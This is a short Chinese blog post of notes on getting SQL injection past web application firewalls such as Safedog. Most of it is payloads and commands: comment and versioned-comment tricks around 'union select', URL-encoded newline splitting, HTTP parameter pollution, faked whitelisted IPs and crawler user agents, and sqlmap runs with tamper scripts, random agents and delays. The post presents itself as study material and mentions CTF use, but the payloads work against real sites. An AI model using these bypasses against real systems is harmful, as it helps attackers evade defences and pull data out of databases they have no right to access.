WAF绕过
如果被拦截,首先可以更改提交方式
如果拦截相应函数(比如database()),可以使用注释符进行绕过(database/**/()){/**/是注释符}
union select 1,2,3 (union select)被拦截
可以
union #a %23a%0A %0A是换行符 用#闭合a,让安全狗误以为到#就结束,然后利用换行符让select不被注释掉
select 1,2,3# 绕过
--------
/*! 语句 */可以执行
--------
参数污染
id=1&id=2 apache得到的是最后一个值【2】
?id=1/**&id=-1 union select 1,2,3 #*/ 安全狗会检测整条语句,但会认为/**后面的语句无效,不会拦截,但根据参数污染,最终执行的还是里面的语句
-------
ip白名单(条件太多,很难满足):不会对白名单里的ip地址进行拦截,如果知道ip白名单可以根据ip地址可以伪造自己的ip地址为白名单,前提是知道对方ip白名单的地址
静态资源:可以在index.php后面加上/x.txt/来进行绕过,会认定为参数传给txt文件,但实质上还是传给php文件
url白名单
爬虫白名单:用扫描工具被拦截,伪造为搜索引擎来绕过
------
union/*!44509select*/ 1,2,3可以绕过(44509代表版本,根据不同版本输入不同数字 )
union all%23%0a select 1,2,3
------
sqlmap自带一些绕过脚本,可适用于ctf
python sqlmap.py -u "网址" --tamper=xxx.py 但是useragent会有sqlmap特征,会被拦截。加上--proxy=http://127.0.0.1:8888然后将bp端口更改为8888抓包可以查看
python sqlmap.py -u "网址" --tamper=xxx.py (--random-agent随机生成一个user-agent) (--tables可以获取表名)
如果开启了流量保护,sqlmap正常扫描仍然会被拦截,可以更改user-agent
【python sqlmap.py -u "网址" --tamper=xxx.py --user-agent="搜索引擎文件头"】
也可以加延迟 python sqlmap.py -u "网址" --tamper=xxx.py (--random-agent随机生成一个useragent)--delay 1
本文作者:掘掘子
本文链接:https://www.cnblogs.com/juejuezi/p/17016495.html
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步